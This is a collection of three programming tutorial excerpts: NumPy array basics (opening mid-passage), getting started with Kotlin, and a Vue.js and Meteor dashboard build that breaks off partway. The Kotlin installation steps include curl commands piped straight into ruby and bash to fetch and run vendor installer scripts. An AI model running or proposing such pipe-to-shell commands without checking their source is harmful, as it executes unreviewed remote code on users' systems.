tell you the size of the data in bytes. The size in bytes is given by the itemsize property of the dtype class : In: a.dtype.itemsize Out: 8 Character codes Character codes are included for backward compatibility with Numeric. Numeric is the predecessor of NumPy. Its use is not recommended, but the code is supplied here because it pops up in various locations. You should use the dtype object instead. The following table lists several different data types and character codes related to them: Type Character code integer i Unsigned integer u Single precision float f Double precision float d bool b complex D string S unicode U Void V Take a look at the following code to produce an array of single precision floats: In: arange(7, dtype='f') Out: array([ 0., 1., 2., 3., 4., 5., 6.], dtype=float32) Likewise, the following code creates an array of complex numbers: In: arange(7, dtype='D') In: arange(7, dtype='D') Out: array([ 0.+0.j, 1.+0.j, 2.+0.j, 3.+0.j, 4.+0.j, 5.+0.j, 6.+0.j]) The dtype constructors We have a variety of means to create data types. Take the case of floating-point data (have a look at dtypeconstructors.py in this book's code bundle): We can use the general Python float, as shown in the following lines of code: In: np.dtype(float) Out: dtype('float64') We can specify a single precision float with a character code: In: np.dtype('f') Out: dtype('float32') We can use a double precision float with a character code: In: np.dtype('d') Out: dtype('float64') We can pass the dtype constructor a two-character code. The first character stands for the type; the second character is a number specifying the number of bytes in the type (the numbers 2, 4, and 8 correspond to floats of 16, 32, and 64 bits, respectively): In: np.dtype('f8') Out: dtype('float64') A (truncated) list of all the full data type codes can be found by applying sctypeDict.keys(): In: np.sctypeDict.keys() In: np.sctypeDict.keys() Out: dict_keys(['?', 0, 'byte', 'b', 1, 'ubyte', 'B', 2, 'short', 'h', 3, 'ushort', 'H', 4, 'i', 5, 'uint', 'I', 6, 'intp', 'p', 7, 'uintp', 'P', 8, 'long', 'l', 'L', 'longlong', 'q', 9, 'ulonglong', 'Q', 10, 'half', 'e', 23, 'f', 11, 'double', 'd', 12, 'longdouble', 'g', 13, 'cfloat', 'F', 14, 'cdouble', 'D', 15, 'clongdouble', 'G', 16, 'O', 17, 'S', 18, 'unicode', 'U', 19, 'void', 'V', 20, 'M', 21, 'm', 22, 'bool8', 'Bool', 'b1', 'float16', 'Float16', 'f2', 'float32', 'Float32', 'f4', 'float64', ' Float64', 'f8', 'float128', 'Float128', 'f16', 'complex64', 'Complex32', 'c8', 'complex128', 'Complex64', 'c16', 'complex256', 'Complex128', 'c32', 'object0', 'Object0', 'bytes0', 'Bytes0', 'str0', 'Str0', 'void0', 'Void0', 'datetime64', 'Datetime64', 'M8', 'timedelta64', 'Timedelta64', 'm8', 'int64', 'uint64', 'Int64', 'UInt64', 'i8', 'u8', 'int32', 'uint32', 'Int32', 'UInt32', 'i4', 'u4', 'int16', 'uint16', 'Int16', 'UInt16', 'i2', 'u2', 'int8', 'uint8', 'Int8', 'UInt8', 'i1', 'u1', 'complex_', 'int0', 'uint0', 'single', 'csingle', 'singlecomplex', 'float_', 'intc', 'uintc', 'int_', 'longfloat', 'clongfloat', 'longcomplex', 'bool_', 'unicode_', 'object_', 'bytes_', 'str_', 'string_', 'int', 'float', 'complex', 'bool', 'object', 'str', 'bytes', 'a']) The dtype attributes The dtype class has a number of useful properties. For instance, we can get information about the character code of a data type through the properties of dtype: In: t = np.dtype('Float64') In: t.char Out: 'd' The type attribute corresponds to the type of object of the array elements: In: t.type Out: numpy.float64 The str attribute of dtype gives a string representation of a data type. It begins with a character representing endianness, if appropriate, then a character code, succeeded by a number corresponding to the number of bytes that each array item needs. Endianness, here, entails the way bytes are ordered inside a 32- or 64-bit word. In the big-endian order, the most significant byte is stored first, indicated by >. In the little-endian order, the least significant byte is stored first, indicated by <, as exemplified in the following lines of code: In: t.str Out: '<f8' One-dimensional slicing and indexing Slicing of one-dimensional NumPy arrays works just like the slicing of standard Python lists. Let's define an array containing the numbers 0, 1, 2, and so on up to and including 8. We can select a part of the array from indexes 3 to 7, which extracts the elements of the arrays 3 through 6: In: a = np.arange(9) In: a[3:7] Out: array([3, 4, 5, 6]) We can choose elements from indexes the 0 to 7 with an increment of 2: In: a[:7:2] Out: array([0, 2, 4, 6]) Just as in Python, we can use negative indices and reverse the array: In: a[::-1] Out: array([8, 7, 6, 5, 4, 3, 2, 1, 0]) Manipulating array shapes We have already learned about the reshape() function. Another repeating chore is the flattening of arrays. Flattening in this setting entails transforming a multidimensional array into a one-dimensional array. Let us create an array b that we shall use for practicing the further examples: In: b = np.arange(24).reshape(2,3,4) In: print(b) Out: [[[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]], [[12, 13, 14, 15], [16, 17, 18, 19], [20, 21, 22, 23]]]) We can manipulate array shapes using the following functions: Ravel: We can accomplish this with the ravel() function as follows: In: b Out: array([[[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]], [[12, 13, 14, 15], [16, 17, 18, 19], [20, 21, 22, 23]]]) In: b.ravel() Out: array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]) Flatten: The appropriately named function, flatten(), does the same as ravel(). However, flatten() always allocates new memory, whereas ravel gives back a view of the array. This means that we can directly manipulate the array as follows: In: b.flatten() Out: array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]) Setting the shape with a tuple: Besides the reshape() function, we can also define the shape straightaway with a tuple, which is exhibited as follows: In: b.shape = (6,4) In: b Out: array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11], [12, 13, 14, 15], [16, 17, 18, 19], [20, 21, 22, 23]]) As you can understand, the preceding code alters the array immediately. Now, we have a 6 x 4 array. Transpose: In linear algebra, it is common to transpose matrices. Transposing is a way to transform data. For a two-dimensional table, transposing means that rows become columns and columns become rows. We can do this too by using the following code: In: b.transpose() Out: array([[ 0, 4, 8, 12, 16, 20], [ 1, 5, 9, 13, 17, 21], [ 2, 6, 10, 14, 18, 22], [ 3, 7, 11, 15, 19, 23]]) Resize: The resize() method works just like the reshape() method, In: b.resize((2,12)) In: b Out: array([[ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11], [12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]]) Stacking arrays Arrays can be stacked horizontally, depth wise, or vertically. We can use, for this goal, the vstack(), dstack(), hstack(), column_stack(), row_stack(), and concatenate() functions. To start with, let's set up some arrays: In: a = np.arange(9).reshape(3,3) In: a Out: array([[0, 1, 2], [3, 4, 5], [6, 7, 8]]) In: b = 2 * a In: b Out: array([[ 0, 2, 4], [ 6, 8, 10], [12, 14, 16]]) As mentioned previously, we can stack arrays using the following techniques: Horizontal stacking: Beginning with horizontal stacking, we will shape a tuple of ndarrays and hand it to the hstack() function to stack the arrays. This is shown as follows: In: np.hstack((a, b)) Out: array([[ 0, 1, 2, 0, 2, 4], [ 3, 4, 5, 6, 8, 10], [ 6, 7, 8, 12, 14, 16]]) We can attain the same thing with the concatenate() function, which is shown as follows: In: np.concatenate((a, b), axis=1) Out: array([[ 0, 1, 2, 0, 2, 4], [ 3, 4, 5, 6, 8, 10], [ 6, 7, 8, 12, 14, 16]]) The following diagram depicts horizontal stacking: Vertical stacking: With vertical stacking, a tuple is formed again. This time it is given to the vstack() function to stack the arrays. This can be seen as follows: In: np.vstack((a, b)) Out: array([[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 0, 2, 4], [ 6, 8, 10], [12, 14, 16]]) The concatenate() function gives the same outcome with the axis parameter fixed to 0. This is the default value for the axis parameter, as portrayed in the following code: In: np.concatenate((a, b), axis=0) Out: array([[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 0, 2, 4], [ 6, 8, 10], [12, 14, 16]]) Refer to the following figure for vertical stacking: Depth stacking: To boot, there is the depth-wise stacking employing dstack() and a tuple, of course. This entails stacking a list of arrays along the third axis (depth). For example, we could stack 2D arrays of image data on top of each other as follows: In: np.dstack((a, b)) Out: array([[[ 0, 0], [ 1, 2], [ 2, 4]], [[ 3, 6], [ 4, 8], [ 5, 10]], [[ 6, 12], [ 7, 14], [ 8, 16]]]) Column stacking: The column_stack() function stacks 1D arrays column-wise. This is shown as follows: In: oned = np.arange(2) In: oned Out: array([0, 1]) In: twice_oned = 2 * oned In: twice_oned Out: array([0, 2]) In: np.column_stack((oned, twice_oned)) Out: array([[0, 0], [1, 2]]) 2D arrays are stacked the way the hstack() function stacks them, as demonstrated in the following lines of code: In: np.column_stack((a, b)) Out: array([[ 0, 1, 2, 0, 2, 4], [ 3, 4, 5, 6, 8, 10], [ 6, 7, 8, 12, 14, 16]]) In: np.column_stack((a, b)) == np.hstack((a, b)) Out: array([[ True, True, True, True, True, True], [ True, True, True, True, True, True], [ True, True, True, True, True, True]], dtype=bool) Yes, you guessed it right! We compared two arrays with the == operator. Row stacking: NumPy, naturally, also has a function that does row-wise stacking. It is named row_stack() and for 1D arrays, it just stacks the arrays in rows into a 2D array: In: np.row_stack((oned, twice_oned)) Out: array([[0, 1], [0, 2]]) The row_stack() function results for 2D arrays are equal to the vstack() function results: In: np.row_stack((a, b)) Out: array([[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 0, 2, 4], [ 6, 8, 10], [12, 14, 16]]) In: np.row_stack((a,b)) == np.vstack((a, b)) Out: array([[ True, True, True], [ True, True, True], [ True, True, True], [ True, True, True], [ True, True, True], [ True, True, True]], dtype=bool) Splitting NumPy arrays Arrays can be split vertically, horizontally, or depth wise. The functions involved are hsplit(), vsplit(), dsplit(), and split(). We can split arrays either into arrays of the same shape or indicate the location after which the split should happen. Let's look at each of the functions in detail: Horizontal splitting: The following code splits a 3 x 3 array on its horizontal axis into three parts of the same size and shape (see splitting.py in this book's code bundle): In: a Out: array([[0, 1, 2], [3, 4, 5], [6, 7, 8]]) In: np.hsplit(a, 3) Out: [array([[0], [3], [6]]), array([[1], [4], [7]]), array([[2], [5], [8]])] Liken it with a call of the split() function, with an additional argument, axis=1: In: np.split(a, 3, axis=1) Out: [array([[0], [3], [6]]), array([[1], [4], [7]]), array([[2], [5], [8]])] Vertical splitting: vsplit() splits along the vertical axis: In: np.vsplit(a, 3) Out: [array([[0, 1, 2]]), array([[3, 4, 5]]), array([[6, 7, 8]])] The split() function, with axis=0, also splits along the vertical axis: In: np.split(a, 3, axis=0) Out: [array([[0, 1, 2]]), array([[3, 4, 5]]), array([[6, 7, 8]])] Depth-wise splitting: The dsplit() function, unsurprisingly, splits depth-wise. We will require an array of rank 3 to begin with: In: c = np.arange(27).reshape(3, 3, 3) In: c Out: array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8]], [[ 9, 10, 11], [12, 13, 14], [15, 16, 17]], [[18, 19, 20], [21, 22, 23], [24, 25, 26]]]) In: np.dsplit(c, 3) Out: [array([[[ 0], [ 3], [ 6]], [[ 9], [12], [15]], [[18], [21], [24]]]), array([[[ 1], [ 4], [ 7]], [[10], [13], [16]], [[19], [22], [25]]]), array([[[ 2], [ 5], [ 8]], [[11], [14], [17]], [[20], [23], [26]]])] NumPy array attributes Let's learn more about the NumPy array attributes with the help of an example. Let us create an array b that we shall use for practicing the further examples: In: b = np.arange(24).reshape(2, 12) In: b Out: array([[ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11], [12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]]) Besides the shape and dtype attributes, ndarray has a number of other properties, as shown in the following list: ndim gives the number of dimensions, as shown in the following code snippet: In: b.ndim Out: 2 size holds the count of elements. This is shown as follows: In: b.size Out: 24 itemsize returns the count of bytes for each element in the array, as shown in the following code snippet: In: b.itemsize Out: 8 If you require the full count of bytes the array needs, you can have a look at nbytes. This is just a product of the itemsize and size properties: In: b.nbytes Out: 192 In: b.size * b.itemsize Out: 192 The T property has the same result as the transpose() function, which is shown as follows: In: b.resize(6,4) In: b Out: array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11], [12, 13, 14, 15], [16, 17, 18, 19], [20, 21, 22, 23]]) In: b.T Out: array([[ 0, 4, 8, 12, 16, 20], [ 1, 5, 9, 13, 17, 21], [ 2, 6, 10, 14, 18, 22], [ 3, 7, 11, 15, 19, 23]]) If the array has a rank of less than 2, we will just get a view of the array: In: b.ndim Out: 1 In: b.T Out: array([0, 1, 2, 3, 4]) Complex numbers in NumPy are represented by j. For instance, we can produce an array with complex numbers as follows: In: b = np.array([1.j + 1, 2.j + 3]) In: b Out: array([ 1.+1.j, 3.+2.j]) The real property returns to us the real part of the array, or the array itself if it only holds real numbers: In: b.real Out: array([ 1., 3.]) The imag property holds the imaginary part of the array: In: b.imag Out: array([ 1., 2.]) If the array holds complex numbers, then the data type will automatically be complex as well: In: b.dtype Out: dtype('complex128') In: b.dtype.str Out: '<c16' The flat property gives back a numpy.flatiter object. This is the only means to get a flatiter object; we do not have access to a flatiter constructor. The flat iterator enables us to loop through an array as if it were a flat array, as shown in the following code snippet: In: b = np.arange(4).reshape(2,2) In: b Out: array([[0, 1], [2, 3]]) In: f = b.flat In: f Out: <numpy.flatiter object at 0x103013e00> In: for item in f: print(item) Out: 0 1 2 3 It is possible to straightaway obtain an element with the flatiter object: In: b.flat[2] Out: 2 Also, you can obtain multiple elements as follows: In: b.flat[[1,3]] Out: array([1, 3]) The flat property can be set. Setting the value of the flat property leads to overwriting the values of the entire array: In: b.flat = 7 In: b Out: array([[7, 7], [7, 7]]) We can also obtain selected elements as follows: In: b.flat[[1,3]] = 1 In: b Out: array([[7, 1], [7, 1]]) The next diagram illustrates various properties of ndarray: Converting arrays We can convert a NumPy array to a Python list with the tolist() function . The following is a brief explanation: Convert to a list: In: b Out: array([ 1.+1.j, 3.+2.j]) In: b.tolist() Out: [(1+1j), (3+2j)] The astype() function transforms the array to an array of the specified data type: In: b Out: array([ 1.+1.j, 3.+2.j]) In: b.astype(int) /usr/local/lib/python3.5/site-packages/ipykernel/__main__.py:1: ComplexWarning: Casting complex values to real discards the imaginary part … Out: array([1, 3]) In: b.astype('complex') Out: array([ 1.+1.j, 3.+2.j]) We are dropping off the imaginary part when casting from the complex type to int. The astype() function takes the name of a data type as a string too. The preceding code won't display a warning this time because we used the right data type. Summary In this article, we found out a heap about the NumPy basics: data types and arrays. Arrays have various properties that describe them. You learned that one of these properties is the data type, which, in NumPy, is represented by a full-fledged object. NumPy arrays can be sliced and indexed in an effective way, compared to standard Python lists. NumPy arrays have the extra ability to work with multiple dimensions. The shape of an array can be modified in multiple ways, such as stacking, resizing, reshaping, and splitting. Resources for Article: Further resources on this subject: Big Data Analytics [article] Python Data Science Up and Running [article] R and its Diverse Possibilities [article]

Learning a programming language is a daunting experience for many people and not one that most individuals generally choose to undertake. Regardless of the problem domain that you may wish to build solutions for, be it application development, networking, or distributed systems, Kotlin programming is a good choice for the development of systems to achieve the required solutions. In other words, a developer can't go wrong with learning Kotlin.  In this article, you will learn the following: The fundamentals of the Kotlin programming language The installation of Kotlin Compiling and running Kotlin programs Working with an IDE Kotlin is a strongly-typed, object-oriented language that runs on the Java Virtual Machine (JVM) and can be used to develop applications in numerous problem domains. In addition to running on the JVM, Kotlin can be compiled to JavaScript, and as such, is an equally strong choice for developing client-side web applications. Kotlin can also be compiled directly into native binaries that run on systems without a virtual machine via Kotlin/Native. The Kotlin programming language was primarily developed by JetBrains – a company based in Saint Petersburg, Russia. The developers at JetBrains are the current maintainers of the language. Kotlin was named after Kotlin island – an island near Saint Petersburg. Kotlin was designed for use in developing industrial-strength software in many domains but has seen the majority of its users come from the Android ecosystem. At the time of writing this post, Kotlin is one of the three languages that have been declared by Google as an official language for Android. Kotlin is syntactically similar to Java. As a matter of fact, it was designed to be a better alternative to Java. As a consequence, there are numerous significant advantages to using Kotlin instead of Java in software development.  Getting started with Kotlin In order to develop the Kotlin program, you will first need to install the Java Runtime Environment (JRE) on your computer. The JRE can be downloaded prepackaged along with a Java Development Kit (JDK). For the sake of this installation, we will be using the JDK. The easiest way to install a JDK on a computer is to utilize one of the JDK installers made available by Oracle (the owners of Java). There are different installers available for all major operating systems. Releases of the JDK can be downloaded from http://www.oracle.com/technetwork/java/javase/downloads/index.html: Clicking on the JDK download button takes you to a web page where you can download the appropriate JDK for your operating system and CPU architecture. Download a JDK suitable for your computer and continue to the next section: JDK installation In order to install the JDK on your computer, check out the necessary installation information from the following sections, based on your operating system. Installation on Windows The JDK can be installed on Windows in four easy steps: Double-click the downloaded installation file to launch the JDK installer. Click the Next button in the welcome window. This action will lead you to a window where you can select the components you want to install. Leave the selection at the default and click Next. The following window prompts the selection of the destination folder for the installation. For now, leave this folder as the default (also take note of the location of this folder, as you will need it in a later step). Click Next. Follow the instructions in the upcoming windows and click Next when necessary. You may be asked for your administrator's password, enter it when necessary. Java will be installed on your computer. After the JDK installation has concluded, you will need to set the JAVA_HOME environment variable on your computer. To do this: Open your Control Panel. Select Edit environment variable. In the window that has opened, click the New button. You will be prompted to add a new environment variable. Input JAVA_HOME as the variable name and enter the installation path of the JDK as the variable value. Click OK once to add the environment variable. Installation on macOS In order to install the JDK on macOS, perform the following steps: Download your desired JDK .dmg file. Locate the downloaded .dmg file and double-click it. A finder window containing the JDK package icon is opened. Double-click this icon to launch the installer. Click Continue on the introduction window. Click Install on the installation window that appears. Enter the administrator login and password when required and click Install Software. The JDK will be installed and a confirmation window displayed. Installation on Linux Installation of the JDK on Linux is easy and straightforward using apt-get: Update the package index of your computer. From your terminal, run: sudo apt-get update Check whether Java is already installed by running the following: java -version You'll know Java is installed if the version information for a Java install on your system is printed. If no version is currently installed, run: sudo apt-get install default-jdk That's it! The JDK will be installed on your computer. Compiling Kotlin programs Now that we have the JDK set up and ready for action, we need to install a means to actually compile and run our Kotlin programs. Kotlin programs can be either compiled directly with the Kotlin command-line compiler or built and run with the Integrated Development Environment (IDE). Working with the command-line compiler The command-line compiler can be installed via Homebrew, SDKMAN!, and MacPorts. Another option for setting up the command-line compiler is by manual installation. Installing the command-line compiler on macOS The Kotlin command-line compiler can be installed on macOS in various ways. The two most common methods for its installation on macOS are via Homebrew and MacPorts. Homebrew Homebrew is a package manager for the macOS systems. It is used extensively for the installation of packages required for building software projects. To install Homebrew, locate your macOS terminal and run: /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" You will have to wait a few seconds for the download and installation of Homebrew. After installation, check to see whether Homebrew is working properly by running the following command in your terminal: brew -v If the current version of Homebrew installed on your computer is printed out in the terminal, Homebrew has been successfully installed on your computer. After properly installing Homebrew, locate your terminal and execute the following command: brew install kotlin Wait for the installation to finish, after which you are ready to compile Kotlin programs with the command-line compiler. MacPorts Similar to HomeBrew, MacPorts is a package manager for macOS. Installing MacPorts is easy. It can be installed on a system by: Installing Xcode and the Xcode command-line tools. Agreeing to the Xcode license. This can be done in the terminal by running xcodebuild -license. Installing the required version of MacPorts. MacPort versions can be downloaded from https://www.macports.org/install.php. Once downloaded, locate your terminal and run port install kotlin as the superuser: sudo port install kotlin Installing the command-line compiler on Linux Linux users can easily install the command-line compiler for Kotlin with SDKMAN! SDKMAN! This can be used to install packages on Unix-based systems such as Linux and its various distributions, for example, Fedora and Solaris. SDKMAN! can be installed in three easy steps: Download the software on to your system with curl. Locate your terminal and run: curl -s "https://get.sdkman.io" | bash After you run the preceding command, a set of instructions will come up in your terminal. Follow these instructions to complete the installation. Upon completing the instructions, run: source "$HOME/.sdkman/bin/sdkman-init.sh" Run the following: sdk version If the version number of SDKMAN! just installed is printed in your terminal window, the installation was successful. Now that we have SDKMAN! successfully installed on our system, we can install the command-line compiler by running: sdk install kotlin Installing the command-line compiler on Windows In order to use the Kotlin command-line compilers on Windows: Download a GitHub release of the software from https://github.com/JetBrains/kotlin/releases/tag/v1.2.30 Locate and unzip the downloaded file Open the extracted kotlincbin folder Start the command prompt with the folder path You can now make use of the Kotlin compiler from your command line. Running your first Kotlin program Now that we have our command-line compiler set up, let's try it out with a simple Kotlin program. Navigate to your home directory and create a new file named Hello.kt. All Kotlin files have a .kt extension appended to the end of the filename. Open the file you just created in a text editor of your choosing and input the following: // The following program prints Hello world to the standard system output. fun main (args: Array<String>) { println("Hello world!") } Save the changes made to the program file. After the changes have been saved, open your terminal window and input the following command: kotlinc hello.kt -include-runtime -d hello.jar The preceding command compiles your program into an executable, hello.jar. The -include- runtime flag is used to specify that you want the compiled JAR to be self-contained. By adding this flag to the command, the Kotlin runtime library will be included in your JAR. The -d flag specifies that, in this case, we want the output of the compiler to be called. Now that we have compiled our first Kotlin program, we need to run it—after all, there's no fun in writing programs if they can't be run later on. Open your terminal, if it's not already open, and navigate to the directory where the JAR was saved to (in this case, the home directory).  To run the compiled JAR, perform the following: java -jar hello.jar After running the preceding command, you should see Hello world! printed on your display. Congratulations, you have just written your first Kotlin program! Writing scripts with Kotlin As previously stated, Kotlin can be used to write scripts. Scripts are programs that are written for specific runtime environments for the common purpose of automating the execution of tasks. In Kotlin, scripts have the .kts file extension appended to the file name. Writing a Kotlin script is similar to writing a Kotlin program. In fact, a script written in Kotlin is exactly like a regular Kotlin program! The only significant difference between a Kotlin script and regular Kotlin program is the absence of a main function. Create a file in a directory of your choosing and name it NumberSum.kts. Open the file and input the following program: val x: Int = 1 val y: Int = 2 val z: Int = x + y println(z) As you've most likely guessed, the preceding script will print the sum of 1 and 2 to the standard system output. Save the changes to the file and run the script: kotlinc -script NumberSum.kts A significant thing to take note of is that a Kotlin script does not need to be compiled. Using the REPL REPL is an acronym that stands for Read–Eval–Print Loop. An REPL is an interactive shell environment in which programs can be executed with immediate results given. The interactive shell environment can be invoked by running the kotlinc command without any arguments. The Kotlin REPL can be started by running kotlinc in your terminal. If the REPL is successfully started, a welcome message will be printed in your terminal followed by >>> on the next line, alerting us that the REPL is awaiting input. Now you can type in code within the terminal, as you would in any text editor, and get immediate feedback from the REPL. This is demonstrated in the following screenshot: In the preceding screenshot, the 1 and 2 integers are assigned to x and y, respectively. The sum of x and y is stored in a new z variable and the value held by z is printed to the display with the print() function. Working with an IDE Writing programs with the command line has its uses, but in most cases, it is better to use software built specifically for the purpose of empowering developers to write programs. This is especially true in cases where a large project is being worked on. An IDE is a computer application that hosts a collection of tools and utilities for computer programmers for software development. There are a number of IDEs that can be used for Kotlin development. Out of these IDEs, the one with the most comprehensive set of features for the purpose of developing Kotlin applications is IntelliJ IDEA. As IntelliJ IDEA is built by the creators of Kotlin, there are numerous advantages in using it over other IDEs, such as an unparalleled feature set of tools for writing Kotlin programs, as well as timely updates that cater to the newest advancements and additions to the Kotlin programming language. Installing IntelliJ IDEA IntelliJ IDEA can be downloaded for Windows, macOS, and Linux directly from JetBrains' website: https://www.jetbrains.com/idea/download. On the web page, you are presented with two available editions for download: a paid Ultimate edition and a free Community edition. The Community edition is sufficient if you wish to run the programs in this chapter. Select the edition you wish to download: Once the download is complete, double-click on the downloaded file and install it on your operating system as you would any program. Setting up a Kotlin project with IntelliJ The process of setting up a Kotlin project with IntelliJ is straightforward: Start the IntelliJ IDE application. Click Create New Project. Select Java from the available project options on the left-hand side of the newly opened window. Add Kotlin/JVM as an additional library to the project. Pick a project SDK from the drop-down list in the window. Click Next. Select a template if you wish to use one, then continue to the next screen. Provide a project name in the input field provided. Name the project HelloWorld for now. Set a project location in the input field. Click Finish. Your project will be created and you will be presented with the IDE window: To the left of the window, you will immediately see the project view. This view shows the logical structure of your project files. Two folders are present. These are: .idea: This contains IntelliJ's project-specific settings files. src: This is the source folder of your project. You will place your program files in this folder. Now that the project is set up, we will write a simple program. Add a file named hello.kt to the source folder (right-click the src folder, select New | Kotlin File/Class, and name the file hello). Copy and paste the following code into the file: fun main(args: Array<String>) { println("Hello world!") } To run the program, click the Kotlin logo adjacent to the main function and select Run HelloKt: The project will be built and run, after which, Hello world! will be printed to the standard system output. Advantages of Kotlin As previously discussed, Kotlin was designed to be a better Java, and as such, there are a number of advantages to using Kotlin over Java: Null safety: One common occurrence in Java programs is the throwing of NullPointerException. Kotlin alleviates this issue by providing a null-safe type system. Presence of extension functions: Functions can easily be added to classes defined in program files to extend their functionality in various ways. This can be done with extension functions in Kotlin. Singletons: It is easy to implement the singleton pattern in Kotlin programs. The implementation of a singleton in Java takes considerably more effort than when it is done with Kotlin. Data classes: When writing programs, it is a common scenario to have to create a class for the sole purpose of holding data in variables. This often leads to the writing of many lines of code for such a mundane task. Data classes in Kotlin make it extremely easy to create such classes that hold data with a single line of code. Function types: Unlike Java, Kotlin has function types. This enables functions to accept other functions as parameters and the definition of functions that return functions. To summarize, we introduced Kotlin and explored the fundamentals. In the process, we learned how to install, write and run Kotlin scripts on a computer and how to use the REPL and IDE. This tutorial is an excerpt from the book, Kotlin Programming By Example, written by Iyanu Adelekan. This book will help you enhance your Kotlin programming skills by building real-world applications. Build your first Android app with Kotlin How to convert Java code into Kotlin  

In this article, we will use Vue.js with an entirely different stack--Meteor! We will discover this full-stack JavaScript framework and build a real-time dashboard with Meteor to monitor the production of some products. We will cover the following topics: Installing Meteor and setting up a project Storing data into a Meteor collection with a Meteor method Subscribing to the collection and using the data in our Vue components The app will have a main page with some indicators, such as: It will also have another page with buttons to generate fake measures since we won't have real sensors available. Setting up the project In this first part, we will cover Meteor and get a simple app up and running on this platform. What is Meteor? Meteor is a full-stack JavaScript framework for building web applications. The mains elements of the Meteor stack are as follows: Web client (can use any frontend library, such as React or Vue); it has a client-side database called Minimongo Server based on nodejs; it supports the modern ES2015+ features, including the import/export syntax Real-time database on the server using MongoDB Communication between clients and the server is abstracted; the client-side and server-side databases can be easily synchronized in real-time Optional hybrid mobile app (Android and iOS), built in one command Integrated developer tools, such as a powerful command-line utility and an easy- to-use build tool Meteor-specific packages (but you can also use npm packages) As you can see, JavaScript is used everywhere. Meteor also encourages you to share code between the client and the server. Since Meteor manages the entire stack, it offers very powerful systems that are easy to use. For example, the entire stack is fully reactive and real-time--if a client sends an update to the server, all the other clients will receive the new data and their UI will automatically be up to date. Meteor has its own build system called "IsoBuild" and doesn't use Webpack. It focuses on ease of use (no configuration), but is, as a result, also less flexible. Installing Meteor If you don't have Meteor on your system, you need to open the Installation Guide on the official Meteor website. Follow the instructions there for your OS to install Meteor. When you are done, you can check whether Meteor was correctly installed with the following command: meteor --version The current version of Meteor should be displayed. Creating the project Now that Meteor is installed, let's set up a new project: Let's create our first Meteor project with the meteor create command: meteor create --bare <folder> cd <folder> The --bare argument tells Meteor we want an empty project. By default, Meteor will generate some boilerplate files we don't need, so this keeps us from having to delete them. Then, we need two Meteor-specific packages--one for compiling the Vue components, and one for compiling Stylus inside those components. Install them with the meteor add command: meteor add akryum:vue-component akryum:vue-stylus We will also install the vue and vue-router package from npm: meteor npm i -S vue vue-router Note that we use the meteor npm command instead of just npm. This is to have the same environment as Meteor (nodejs and npm versions). To start our Meteor app in development mode, just run the meteor command: Meteor Meteor should start an HTTP proxy, a MongoDB, and the nodejs server: It also shows the URL where the app is available; however, if you open it right now, it will be blank. Our first Vue Meteor app In this section, we will display a simple Vue component in our app: Create a new index.html file inside the project directory and tell Meteor we want div in the page body with the app id: <head> <title>Production Dashboard</title> </head> <body> <div id="app"></div>      </body> This is not a real HTML file. It is a special format where we can inject additional elements to the head or body section of the final HTML page. Here, Meteor will add a title into the head section and the <div> into the body section. Create a new client folder, new components subfolder, and a new App.vue component with a simple template: <!-- client/components/App.vue --> <template> <div id="#app"> <h1>Meteor</h1> </div>   </template> Download (https://github.com/Akryum/packt-vue-project-guide/tree/ master/chapter8-full/client) this stylus file in the client folder and add it to the main App.vue component: <style lang="stylus" src="../style.styl" /> Create a main.js file in the client folder that starts the Vue application inside the Meteor.startup hook: import { Meteor } from 'meteor/meteor' import Vue from 'vue' import App from './components/App.vue' Meteor.startup(() => { new Vue({ el: '#app', ...App, }) }) In a Meteor app, it is recommended that you create the Vue app inside the Meteor.startup hook to ensure that all the Meteor systems are ready before starting the frontend. This code will only be run on the client because it is located in a client folder. You should now have a simple app displayed in your browser. You can also open the Vue devtools and check whether you have the App component present on the page. Routing Let's add some routing to the app; we will have two pages--the dashboard with indicators and a page with buttons to generate fake data: In the client/components folder, create two new components--ProductionGenerator.vue and ProductionDashboard.vue. Next to the main.js file, create the router in a router.js file: import Vue from 'vue' import VueRouter from 'vue-router' import ProductionDashboard from './components/ProductionDashboard.vue' import ProductionGenerator from './components/ProductionGenerator.vue' Vue.use(VueRouter) const routes = [ { path: '/', name: 'dashboard', component: ProductionDashboard }, { path: '/generate', name: 'generate', component: ProductionGenerator }, ] const router = new VueRouter({ mode: 'history', routes, }) export default router    Then, import the router in the main.js file and inject it into the app.    In the App.vue main component, add the navigation menu and the router view: <nav> <router-link :to="{ name: 'dashboard' }" exact>Dashboard </router-link> <router-link :to="{ name: 'generate' }">Measure</router-link> </nav> <router-view /> The basic structure of our app is now done: Production measures The first page we will make is the Measures page, where we will have two buttons: The first one will generate a fake production measure with current date and random value The second one will also generate a measure, but with the error property set to true All these measures will be stored in a collection called "Measures". Meteor collections integration A Meteor collection is a reactive list of objects, similar to a MongoDB collection (in fact, it uses MongoDB under the hood). We need to use a Vue plugin to integrate the Meteor collections into our Vue app in order to update it automatically: Add the vue-meteor-tracker npm package: meteor npm i -S vue-meteor-tracker    Then, install the library into Vue: import VueMeteorTracker from 'vue-meteor-tracker' Vue.use(VueMeteorTracker)    Restart Meteor with the meteor command. The app is now aware of the Meteor collection and we can use them in our components, as we will do in a moment. Setting up data The next step is setting up the Meteor collection where we will store our measures data Adding a collection We will store our measures into a Measures Meteor collection. Create a new lib folder in the project directory. All the code in this folder will be executed first, both on the client and the server. Create a collections.js file, where we will declare our Measures collection: import { Mongo } from 'meteor/mongo' export const Measures = new Mongo.Collection('measures') Adding a Meteor method A Meteor method is a special function that will be called both on the client and the server. This is very useful for updating collection data and will improve the perceived speed of the app--the client will execute on 